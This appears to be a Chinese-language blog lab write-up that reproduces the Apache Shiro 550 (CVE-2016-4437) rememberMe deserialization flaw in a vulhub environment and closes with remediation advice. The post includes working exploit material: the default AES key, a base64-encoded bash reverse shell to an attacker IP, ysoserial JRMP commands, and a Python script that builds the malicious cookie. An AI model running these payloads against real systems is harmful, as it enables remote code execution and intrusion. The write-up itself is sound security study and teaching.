Apache Shiro 550反序列化漏洞

smileleooo發表於2024-05-05

目錄
  • 漏洞原理
  • 復現
    • 漏洞探測
    • 方式一 ysoserial反彈shell
    • 方式二 ShiroAttack2一鍵利用
  • 修復措施

Apache Shiro 是一個用於身份驗證、授權、加密和會話管理的Java安全框架。Apache Shiro550 是個反序列化漏洞,漏洞編號為CVE-2016-4437。

漏洞原理

Shiro 框架提供了一個RememberMe功能,允許使用者在下次訪問時無需重新登入。這個功能透過在Cookie中設定一個rememberMe欄位來實現。Shiro在處理rememberMe欄位時,會先進行Base64解碼,然後使用AES解密,最後反序列化。然而Shiro的預設AES金鑰是硬編碼在框架中的。

所以這使得攻擊者可以輕易地構造一個惡意的序列化物件,將其AES加密並Base64編碼後,作為rememberMe欄位傳送給Shiro服務端。在服務端接收Cookie後會檢查RememberMe的值 -> Base64解碼 -> 使用AES解密(加密金鑰硬編碼)-> 反序列化(未作過濾處理)

如果沒有修改預設的金鑰那麼就很容易就知道金鑰了,所以Payload構造起來就很簡單。

復現

影響版本:Apache Shiro < 1.2.4

環境搭建:使用 vulhub 搭建

cd ./vulhub/shiro/CVE-2016-4437
docker compose up -d

瀏覽器訪問 8080 埠登入介面:

image

首先應該判斷一個頁面的登入是否使用了Shiro框架,如果出現 rememberMe=deleteMe 欄位,就說明登入頁面採用了 Shiro進行身份驗證,但這並不能說明存在漏洞。

image

Shiro550 這個漏洞的核心在於版本低於 1.2.4 的版本中使用了固定的金鑰,如果確實是固定的金鑰那麼 Shiro550 漏洞才一定是存在。

漏洞探測

第一步就是要確定是否有一個預設的key是可以為我們所用的,這裡就需要用到key的爆破工具。

工具地址:https://github.com/insightglacier/Shiro_exploit

image

檢測到AES加密的 key 為:kPH+bIxk5D2deZiIxcaaaA==

方式一 ysoserial反彈shell

拿到key以後,利用 ysoserial 來生成反序列payload,ysoserial是一款用於生成利用不安全的Java物件反序列化的有效負載的概念驗證工具。

下載地址:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

利用 ysoserial 的攻擊流程如下:

  1. 攻擊者在自己的伺服器使用 JRMPListener 開啟一個 RMI 服務監聽。

  2. 向目標伺服器傳送 JRMPClient,傳送的Payload中設定攻擊者伺服器IP以及JRMPListener監聽的埠,漏洞伺服器反序列化該Payload後,會去連線攻擊者開啟的RMI監聽。

  3. 攻擊者伺服器傳送的Payload中包含可執行命令。

首先,在kali中透過 nc 監聽本地埠:

nc -lvvp 12345

接著準備反彈shell的程式碼:

反彈shell的命令為bash -i >& /dev/tcp/192.168.88.128/12345 0>&1,利用Java Runtime配合Bash64編碼:

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

本地開啟 JRMP 監聽,監聽本地 2333 埠,利用鏈使用 CommonsBeanutils1:

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

Python生成Payload替換Cookie,這裡使用其他師傅寫的Python指令碼:

# python3
import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
    popen = subprocess.Popen([r'java', '-jar', r'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA==" # AES金鑰key
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = rememberme('192.168.88.128:2333') # 192.168.88.128:2333 是攻擊機遠端RMI服務
    print("rememberMe={}".format(payload.decode()))

需要注意的是,要把 ysoserial-master-SNAPSHOT.jar 包和該python指令碼放在同一目錄下,還需要替換拿到的key和rememberme()的引數。

image

rememberMe=ICAgICAgICAgICAgICAgIKJBToq3AgWpkZCN9zQ2dfEHCco/VzhG+3LQHh5Zaer60r5Jwla79z0XmDOj8+w1eKA2vgHYMkiWYHxPTnCTruQce9qUyi1DfZbejmiqT0SdmloCk0mpI/GFrLviKn4NgEccphmdxaeejF7aza2uR6mZR4DYZWErT6EgMoqKwqkMtO91HfpMZW3QSbxaeFLQDQS/E6tc3GQRK4qxMxbx0/yd4ADT3MH58lLcdtvXgyLG51gaMpDMeYXLxHoEhvYmZPhiPD1qrGJ5wLHzV/WSvA4NFHQn7cMvBKoT+6IvtRY4WM56jD8u4mqvpKxbncRUdUB4gsr3BMwxc5gV1VjA8tWO61yWSra0/T2bMVQrfpZXrmOg/1uPBm7thm8b5anJlw==

將拿到的 rememberMe 替換Cookie傳送:

image

靶機回連本地 JRMP 服務,JRMP服務端收到請求:

image

靶機收到 gadget 物件對其反序列化造成命令執行,造成反彈shell命令成功:

image

除了反彈shell,還可以使用ysoserial工具生成exp進行命令執行,將生成的Payload使用預設AES加密,替換Cookie傳送求。

方式二 ShiroAttack2一鍵利用

ShiroAttack2 是一款針對Shiro550漏洞進行快速漏洞利用的工具,具有圖形化介面,可以回顯執行命令,注入記憶體馬等。

下載地址:https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

可爆破金鑰,爆破利用連及回顯:

image

功能區包括:檢測日誌、命令執行、記憶體馬、key生成

image

修復措施

  • 升級Shiro版本:將Apache Shiro升級到1.2.4以上的版本,因為1.2.5及以後的版本中,AES金鑰不再是硬編碼的,而是在每次Shiro啟動時隨機生成一個新的金鑰。

  • 更換AES金鑰:如果不升級Shiro版本,應修改rememberMe的預設金鑰。使用Shiro官方提供的方法隨機生成一個新的金鑰,並妥善保管好該金鑰。
    官方金鑰生成方法:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()。

  • 禁用rememberMe功能:如果應用程式不需要使用rememberMe功能,可以考慮完全禁用它。

參考文章:
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2016-4437shiro-550反序列化命令執行.md
https://www.freebuf.com/vuls/290922.html
https://www.freebuf.com/articles/web/395728.html


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章